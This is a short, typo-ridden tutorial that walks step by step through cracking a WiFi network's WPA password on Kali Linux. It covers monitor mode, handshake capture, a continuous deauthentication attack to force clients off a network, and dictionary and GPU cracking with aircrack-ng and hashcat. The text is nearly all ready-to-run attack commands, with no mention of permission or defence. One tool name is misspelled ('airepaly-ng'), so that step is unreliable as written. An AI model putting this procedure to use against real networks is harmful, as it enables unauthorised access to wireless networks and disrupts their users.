Environment of System

1. Operating System: Kali Linux 2021.3
2. WiFi Adapters: ALFA AWUS036ACS
3. Hardware： MacBook Pro 15

Install dirve

ALFA AWUS036ACS dirve

1

sudo apt upgrade

1

sudo apt update

1

sudo apt install realtek-rtl88xxau-dkms

1

sudo reboot

Step1

check wifi adapters, must find wlan0

1

ifconfig

Step2

Start up wifi adapter monitor mode

Open wifi adapter monitor mode

1

sudo airmon-ng start wlan0

Stop wifi adapter monitor mode

1

sudo airmon-ng stop wlan0

Step3

Scanning wifi

1

sudo airodump-ng wlan0

Step4

Get handshake package

1

sudo airodump-ng --bssid BSSID -c CH -w Save_packet_path wlan0

Step5(non-essential)

This step is based on the premise that the handshake package cannot be obtained

1

sudo airepaly-ng -0 0 -a BSSID -c STATION wlan0

Step6 Rrn crack password

Use CPU

Rrn crack password

1

sudo aircrack-ng -w dictionary.txt Save_packet_path

Use GPU

Fist change cap file to hccapx

1

sudo aircrack-ng ./*.cap -j save_path/name.hccapx

Second run brute force

1

hashcat -m 2500 ./name.hccapx ./dictionary.txt